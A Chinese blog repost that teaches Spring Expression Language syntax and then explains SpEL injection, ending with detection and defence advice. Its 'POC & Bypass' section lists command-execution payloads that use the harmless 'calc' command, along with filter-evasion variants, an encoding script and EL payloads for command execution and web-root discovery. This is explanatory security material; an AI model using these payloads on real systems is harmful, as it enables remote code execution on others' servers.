当前位置:   article > 正文

浅入深SpEL表达式注入漏洞总结_spring spel表达式注入

spring spel表达式注入

SpEL 简介

在Spring 3 中引入了 Spring 表达式语言 (Spring Expression Language,简称SpEL),

这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。

在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。

SpEL特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

SpEL 定界符     #{}

SpEL 使用 #{ } 作为定界符 ,所有在打括号中的字符都被认为表达式,在其中可以使用 SpEL 运算符 变量 引用 以及属性和方法等。

# { }  和 $ { } 的区别:

  • # { } 就是SpEL 的定界符,用于指明内容 spel 表达式并执行;
  • $ { } 主要用于
  • 两者可以混合使用,但是必须 # { } 在外面,${ } 在里面,如,注意单引号是字符串类型才添加的#{'${}'}

Spel 表达式类型

字面值

最简单的Spel 表达式就是仅包含一个字面值  ,此时需要用到 # { } 定界符,注意若是指定为字符串的话 需要添加单引号括起来

  1. <property name="message1" value="#{666}"/>
  2. <property name="message2" value="#{'mi1k7ea'}"/>

还可以直接与字符串混用:

<property name="message" value="the value is #{666}"/>

Java基本数据类型都可以出现在SpEL表达式中,表达式中的数字也可以使用科学计数法:

<property name="salary" value="#{1e4}"/>

演示

直接用Spring 的 HelloWorld 例子:

你好世界.java:

  1. public class HelloWorld {
  2. private String message;
  3. public void setMessage(String message){
  4. this.message = message;
  5. }
  6. public void getMessage(){
  7. System.out.println("Your Message : " + message);
  8. }
  9. }

主应用.java:

  1. import com.mi1k7ea.service.AccountService;
  2. import org.springframework.context.ApplicationContext;
  3. import org.springframework.context.support.ClassPathXmlApplicationContext;
  4. public class MainApp {
  5. public static void main(String[] args) {
  6. ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
  7. HelloWorld obj = (HelloWorld) context.getBean("helloWorld");
  8. obj.getMessage();
  9. }
  10. }

Beans.xml

  1. <beans xmlns="http://www.springframework.org/schema/beans"
  2. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  3. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  4. <bean id="helloWorld" class="Spel.HelloWorld">
  5. <property name="message" value="#{'snowy'} is #{1e7}" />
  6. </bean>
  7. </beans>

运行结果:

Your Message : snowy is 1.0E7

引用Bean、属性和方法

引用 Bean

SpeL 表达式能够通过其他Bean的ID 进行引用,直接在 # { } 符号中写入ID 名即可,无需添加单引号括起来。 如:

  1. <!--原来的写法,通过构造函数实现依赖注入-->
  2. <!--<constructor-arg ref="test"/>-->
  3. <constructor-arg value="#{test}"/>

引用类属性

SpEL 表达式能够访问类的属性

比如,carl参赛者是一位模仿高手,kenny唱什么歌,弹奏什么乐器,他就唱什么歌,弹奏什么乐器:

  1. <bean id="kenny" class="com.spring.entity.Instrumentalist"
  2. p:song="May Rain"
  3. p:instrument-ref="piano"/>
  4. <bean id="carl" class="com.spring.entity.Instrumentalist">
  5. <property name="instrument" value="#{kenny.instrument}"/>
  6. <property name="song" value="#{kenny.song}"/>
  7. </bean>

相当于 执行了:

  1. >Instrumentalist carl = new Instrumentalist();
  2. >carl.setSong(kenny.getSong());

引用类方法:

SpEL 表达式还可以访问类的方法:

如现在有个SongSelector 类,该类有个 selectSong() 方法,这样的话 carl 不需要模仿别人,直接开始吟唱 songSelector 所选的歌了

> <property name="song" value="#{SongSelector.selectSong()}"/>

carl 有个癖好 , 歌曲名不是大写的,他就浑身难受,我们需要做的就是为他返回的歌曲调用toUpperCase() 方法

<property name="song" value="#{SongSelector.selectSong().toUpperCase()}"/>

注意:这里我们不能确保不抛出 NullPointerException,,为了避免这个讨厌的问题,我们可以使用SpEL 的null - safe 存取器

<property name="song" value="#{SongSelector.selectSong()?.toUpperCase()}"/>


?  .  符号 会确保左边的表达式不会为  null ,如果为null 的话 就不会调用 toUpperCase()方法

Demo -- 引用Bean

这里修改基于构造函数的依赖注入的实例:

SpellChecker.java:

  1. public class SpellChecker {
  2. public SpellChecker(){
  3. System.out.println("Inside SpellChecker constructor." );
  4. }
  5. public void checkSpelling() {
  6. System.out.println("Inside checkSpelling." );
  7. }
  8. }

TextEditor.java:

  1. public class TextEditor {
  2. private SpellChecker spellChecker;
  3. public TextEditor(SpellChecker spellChecker) {
  4. System.out.println("Inside TextEditor constructor." );
  5. this.spellChecker = spellChecker;
  6. }
  7. public void spellCheck() {
  8. spellChecker.checkSpelling();
  9. }
  10. }

MainApp.java:

  1. import org.springframework.context.ApplicationContext;
  2. import org.springframework.context.support.ClassPathXmlApplicationContext;
  3. public class MainApp {
  4. public static void main(String[] args) {
  5. ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
  6. TextEditor te = (TextEditor) context.getBean("textEditor");
  7. te.spellCheck();
  8. }
  9. }

Beans.xml,通过的方式替换掉之前的ref属性设置value="#{bean id}"

  1. <beans xmlns="http://www.springframework.org/schema/beans"
  2. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  3. xsi:schemaLocation="http://www.springframework.org/schema/beans
  4. http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
  5. <!-- Definition for textEditor bean -->
  6. <bean id="textEditor" class="com.mi1k7ea.TextEditor">
  7. <!--<constructor-arg ref="spellChecker"/>-->
  8. <constructor-arg value="#{spellChecker}"/>
  9. </bean>
  10. <!-- Definition for spellChecker bean -->
  11. <bean id="spellChecker" class="com.mi1k7ea.SpellChecker" />
  12. </beans>

运行输出结果:

  1. Inside SpellChecker constructor.
  2. Inside TextEditor constructor.
  3. Inside checkSpelling.

类类型表达式 T (Type)

在SpEL表达式中,使用 T(Type) 运算符会调用类的 作用域和方法,换句话说,就是可以通过该类类型表达式 来操作类。

使用 T(Type) 来表示 java.lang.Class  实例,Type 必须是类全限定名,但 "java.lang" 包除外, 因为 SpEL 已经内置了该包,即该包下的类可以不指定具体的包名; 使用类类型表达式还可以进行访问类静态方法 和  类静态字段。

在XML 配置文件中的使用实例,要调用java.lang.Math 来获取0~1 的随机数:

<property name="random" value="#{T(java.lang.Math).random()}"/>

Expression(表达式)中使用示例:

  1. ExpressionParser parser = new SpelExpressionParser();
  2. // java.lang 包类访问
  3. Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
  4. System.out.println(result1);
  5. //其他包类访问
  6. String expression2 = "T(java.lang.Runtime).getRuntime().exec('open /Applications/Calculator.app')";
  7. Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);
  8. System.out.println(result2);
  9. //类静态字段访问
  10. int result3 = parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);
  11. System.out.println(result3);
  12. //类静态方法调用
  13. int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);
  14. System.out.println(result4)

DEMO

在前面字面值的 Demo中修改 Beans.xml 即可:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <beans xmlns="http://www.springframework.org/schema/beans"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  5. <bean id ="hello" class="Spel.eztest.HelloWorld">
  6. <property name="message" value="#{T(java.lang.Math)?.random() }"/>
  7. </bean>
  8. </beans>

输出结果:

Your Message : 0.23296371273385708

恶意利用 ————弹计算器

修改其 value中 类类型表达式的类为 RUntime 并调用其执行方法即可:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <beans xmlns="http://www.springframework.org/schema/beans"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  5. <bean id ="hello" class="Spel.eztest.HelloWorld">
  6. <property name="message" value="#{T(Runtime).getRuntime().exec('calc')}"/>
  7. </bean>
  8. </beans>

运行 就弹出计算器。

SpEL 用法

SpEL 的用法有三种形式,一种是在注解 @Value 中; 一种是XML 配置;最后一种是在代码块中使用Expression

前面的就是以XML配置为例 对SpEL 表达式的用法进行的说明,而注解@Value 的用法例子如下:

  1. public class EmailSender {
  2. @Value("${spring.mail.username}")
  3. private String mailUsername;
  4. @Value("#{ systemProperties['user.region'] }")
  5. private String defaultLocale;
  6. //...
  7. }

Expression用法

由于后续分析各种 Spring VCVE漏洞都是基于  Expression 形式的 SPEL 表达式注入,因此这里再单独说明SpEL 表达式 Expression形式用法

步骤

SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。

  1. ExpressionParser parser = new SpelExpressionParser();
  2. Expression expression = parser.parseExpression("('Hello' + ' Mi1k7ea').concat(#end)");
  3. EvaluationContext context = new StandardEvaluationContext();
  4. context.setVariable("end", "!");
  5. System.out.println(expression.getValue(context));

具体步骤如下:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
  2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
  3. 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
  4. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;

主要接口

  • ExpressionParser 接口:表示解析器,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,使用 parseExpression 方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;
  • EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。
  • Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。

Demo

应用实例如下,和前面XML 配置的用法区别在于程序会将这里传入 parseExpression() 函数的字符串参数 当SpEL 表达式来解析,而无需通过 #{ } 符号来注明:

  1. public class ExpressionTest {
  2. public static void main(String[] args) {
  3. // 字符串字面量
  4. //String spel = "123+456";
  5. // 算数运算
  6. //String spel = "123+456";
  7. // 操作类弹计算器,当然java.lang包下的类是可以省略包名的
  8. String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
  9. // String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
  10. ExpressionParser parser = new SpelExpressionParser(); //spel解析器
  11. Expression expression = parser.parseExpression(spel); //解析表达式
  12. System.out.println(expression.getValue()); //取值
  13. }
  14. }

 类实例化

类实例化同样使用JAVA关键字new ,类名必须是全限定名,但java.lang包内的类型除外

  1. String spel = "new java.util.Date()";
  2. ExpressionParser parser = new SpelExpressionParser();
  3. Expression expression = parser.parseExpression(spel);
  4. System.out.println(expression.getValue());

SpEL 表达式运算

引用自 SpEL表达式 | MrBird

SpEL 提供了以下几种运算符:

运算符类型运算符
算数运算+, -, *, /, %, ^
关系运算<, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算and, or, not, !
条件运算?:(ternary), ?:(Elvis)
正则表达式matches

算数运算:

<property name="add" value="#{counter.total+42}"/>

加号还可以用于字符串拼接:

<property name="blogName" value="#{my blog name is+' '+mrBird }"/>

  ^  运算符 执行幂运算,其余和java一样

关系运算:

判断一个 Bean 的某个 属性是否等于 100:

<property name="eq" value="#{counter.total==100}"/>

返回值是boolean类型。关系运算符唯一需要注意的是:在Spring XML配置文件中直接写>=和<=会报错。因为这”<”和”>”两个符号在XML中有特殊的含义。所以实际使用时,最号使用文本类型代替符号

运算符符号文本类型
等于==eq
小于<lt
小于等于<=le
大于>gt
大于等于>=ge

如:

<property name="eq" value="#{counter.total le 100}"/>

逻辑运算

SpEL 表达式提供了多种逻辑运算符,其含义和JAVA一样  只不过符号不一样

使用and 运算符:

<property name="largeCircle" value="#{shape.kind == 'circle' and shape.perimeter gt 10000}"/>

两边为true 时才返回true

其余操作一样,只不过非运算有 not 和 ! 两种符号可供选择,非运算 :

<property name="outOfStack" value="#{!product.available}"/>

条件运算

条件运算符 类似于 JAVA的三目运算符:

<property name="instrument" value="#{songSelector.selectSong() == 'May Rain' ? piano:saxphone}"/>

当选择的歌曲为”May Rain”的时候,一个id为piano的Bean将装配到instrument属性中,否则一个id为saxophone的Bean将装配到instrument属性中。注意区别piano和字符串“piano”!

一个常见的三目运算符的使用场合是判断是否为null值:

<property name="song" value="#{kenny.song !=null ? kenny.song:'Jingle Bells'}"/>

这里, kenny.song 引用重复了两次,SpEL 提供了三目运算符的变体来简化表达式:

<property name="song" value="#{kenny.song !=null ?:'Jingle Bells'}"/>

在以上示例中, 如果 kenny.song 不为null ,那么表达式的求值结果是kenny.song 否则就是 'Jingle Bells' 。

正则表达式

验证邮箱:

<property name="email" value="#{admin.email matches '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.com'}"/>

集合操作

SpEL 表达式支持对集合进行操作。

创建一个 City类:

  1. public class City {
  2. private String name;
  3. private String state;
  4. private int population;
  5. public String getName() {
  6. return name;
  7. }
  8. public void setName(String name) {
  9. this.name = name;
  10. }
  11. public String getState() {
  12. return state;
  13. }
  14. public void setState(String state) {
  15. this.state = state;
  16. }
  17. public int getPopulation() {
  18. return population;
  19. }
  20. public void setPopulation(int population) {
  21. this.population = population;
  22. }
  23. }

修改Beans.xml,使用<util:list>元素配置一个包含City对象的List集合:

  1. <beans xmlns="http://www.springframework.org/schema/beans"
  2. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  3. xmlns:p="http://www.springframework.org/schema/p"
  4. xmlns:util="http://www.springframework.org/schema/util"
  5. xsi:schemaLocation="http://www.springframework.org/schema/beans
  6. http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
  7. http://www.springframework.org/schema/util
  8. http://www.springframework.org/schema/util/spring-util-4.0.xsd">
  9. <util:list id="cities">
  10. <bean class="com.mi1k7ea.City" p:name="Chicago"
  11. p:state="IL" p:population="2853114"/>
  12. <bean class="com.mi1k7ea.City" p:name="Atlanta"
  13. p:state="GA" p:population="537958"/>
  14. <bean class="com.mi1k7ea.City" p:name="Dallas"
  15. p:state="TX" p:population="1279910"/>
  16. <bean class="com.mi1k7ea.City" p:name="Houston"
  17. p:state="TX" p:population="2242193"/>
  18. <bean class="com.mi1k7ea.City" p:name="Odessa"
  19. p:state="TX" p:population="90943"/>
  20. <bean class="com.mi1k7ea.City" p:name="El Paso"
  21. p:state="TX" p:population="613190"/>
  22. <bean class="com.mi1k7ea.City" p:name="Jal"
  23. p:state="NM" p:population="1996"/>
  24. <bean class="com.mi1k7ea.City" p:name="Las Cruces"
  25. p:state="NM" p:population="91865"/>
  26. </util:list>
  27. </beans>

访问集合成员:

SpEL表达式支持通过#{集合ID[i]}的方式来访问集合中的成员。

定义一个ChoseCity类:

  1. <bean id="choseCity" class="com.mi1k7ea.ChoseCity">
  2. <property name="city" value="#{cities[0]}"/>
  3. </bean>

MainApp.java,实例化这个Bean:

  1. import org.springframework.context.ApplicationContext;
  2. import org.springframework.context.support.ClassPathXmlApplicationContext;
  3. public class MainApp {
  4. public static void main(String[] args) {
  5. ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
  6. ChoseCity c = (ChoseCity)context.getBean("choseCity");
  7. System.out.println(c.getCity().getName());
  8. }
  9. }

运行无误则输出 "Chicago"

随意的选择一个city , 中括号 [ ] 运算始终通过索引访问集合中的成员

<property name="city" value="#{cities[T(java.lang.Math).random()*cities.size()]}"/>

此时会随机访问一个集合成员并输出。

查询集合成员

SpEL表达式中提供了查询运算符来实现查询符合条件的集合成员:

  • .?[]:返回所有符合条件的集合成员;
  • .^[]:从集合查询中查出第一个符合条件的集合成员;
  • .$[]:从集合查询中查出最后一个符合条件的集合成员;

修改ChoseCity类,将city属性类型改为City列表类型:

  1. import java.util.List;
  2. public class ChoseCity {
  3. private List<City> city;
  4. public List<City> getCity() {
  5. return city;
  6. }
  7. public void setCity(List<City> city) {
  8. this.city = city;
  9. }
  10. }

修改Beans.xml:

  1. <bean id="choseCity" class="com.mi1k7ea.ChoseCity">
  2. <property name="city" value="#{cities.?[population gt 100000]}"/>
  3. </bean>

修改MainApp.java:

  1. import org.springframework.context.ApplicationContext;
  2. import org.springframework.context.support.ClassPathXmlApplicationContext;
  3. public class MainApp {
  4. public static void main(String[] args) {
  5. ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
  6. ChoseCity c = (ChoseCity)context.getBean("choseCity");
  7. for(City city:c.getCity()){
  8. System.out.println(city.getName());
  9. }
  10. }
  11. }

运行输出:

  1. Chicago
  2. Atlanta
  3. Dallas
  4. Houston
  5. El Paso

变量定义和引用

在SpEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用”#variableName”来引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象:

  • #this:使用当前正在计算的上下文;
  • #root:引用容器的root对象;

示例,使用setVariable()函数定义了名为variable的变量,并且通过#variable来引用,同时尝试引用根对象和上下文对象:

  1. ExpressionParser parser = new SpelExpressionParser();
  2. EvaluationContext context = new StandardEvaluationContext("snowy");
  3. context.setVariable("variable", "666");
  4. String result1 = parser.parseExpression("#variable").getValue(context, String.class);
  5. System.out.println(result1);
  6. String result2 = parser.parseExpression("#root").getValue(context, String.class);
  7. System.out.println(result2);
  8. String result3 = parser.parseExpression("#this").getValue(context, String.class);
  9. System.out.println(result3);

输出:

  1. 666
  2. snowy
  3. snowy

SpEL表达式注入漏洞

漏洞原理

SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。

由前面知道,SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

如下,前面的例子中已提过:

  1. import org.springframework.expression.Expression;
  2. import org.springframework.expression.ExpressionParser;
  3. import org.springframework.expression.spel.standard.SpelExpressionParser;
  4. public class MainApp {
  5. public static void main(String[] args) throws Exception {
  6. String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
  7. ExpressionParser parser = new SpelExpressionParser();
  8. Expression expression = parser.parseExpression(spel);
  9. System.out.println(expression.getValue());
  10. }
  11. }

POC &Bypass

  1. // PoC原型
  2. // Runtime
  3. T(java.lang.Runtime).getRuntime().exec("calc")
  4. T(Runtime).getRuntime().exec("calc")
  5. // ProcessBuilder
  6. new java.lang.ProcessBuilder({'calc'}).start()
  7. new ProcessBuilder({'calc'}).start()
  8. ******************************************************************************
  9. // Bypass技巧
  10. // 反射调用
  11. T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
  12. // 同上,需要有上下文环境
  13. #this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
  14. // 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
  15. T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
  16. // 同上,需要有上下文环境
  17. #this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
  18. // 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
  19. // byte数组内容的生成后面有脚本
  20. new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
  21. // 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
  22. // byte数组内容的生成后面有脚本
  23. T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
  24. // JavaScript引擎通用PoC
  25. T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
  26. T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
  27. // JavaScript引擎+反射调用
  28. T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
  29. // JavaScript引擎+URL编码
  30. // 其中URL编码内容为:
  31. // 不加最后的getInputStream()也行,因为弹计算器不需要回显
  32. T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
  33. // 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
  34. ''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
  35. // JDK9新增的shell,还未测试
  36. T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

CreateAscii.py,用于String类动态生成字符的字符ASCII码转换生成:

  1. message = input('Enter message to encode:')
  2. print('Decoded string (in ASCII):\n')
  3. print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
  4. for ch in message[1:]:
  5. print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
  6. print('\n')
  7. print('new java.lang.String(new byte[]{', end=""),
  8. print(ord(message[0]), end="")
  9. for ch in message[1:]:
  10. print(',%s' % ord(ch), end=""),
  11. print(')}')

其他的一些payload:

  1. // 转自:https://www.jianshu.com/p/ce4ac733a4b9
  2. ${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
  3. ${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径
  4. ${header} 文件头参数
  5. ${applicationScope} 获取webRoot
  6. ${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令
  7. // 渗透思路:获取webroot路径,exec执行命令echo写入一句话。
  8. <p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p> //获取web路径

检测与防御

检测方法

全局搜索关键特征:

  1. //关键类
  2. org.springframework.expression.Expression
  3. org.springframework.expression.ExpressionParser
  4. org.springframework.expression.spel.standard.SpelExpressionParser
  5. //调用特征
  6. ExpressionParser parser = new SpelExpressionParser();
  7. Expression expression = parser.parseExpression(str);
  8. expression.getValue()
  9. expression.setValue()

防御方法

最直接的修复方法是使用SimpleEvaluationContext替换StandardEvaluationContext。

Demo:

  1. String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
  2. ExpressionParser parser = new SpelExpressionParser();
  3. Student student = new Student();
  4. EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();
  5. Expression expression = parser.parseExpression(spel);
  6. System.out.println(expression.getValue(context));

转自

SpEL表达式注入漏洞总结 [ Mi1k7ea ]

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/羊村懒王/article/detail/309230
推荐阅读
相关标签
  

闽ICP备14008679号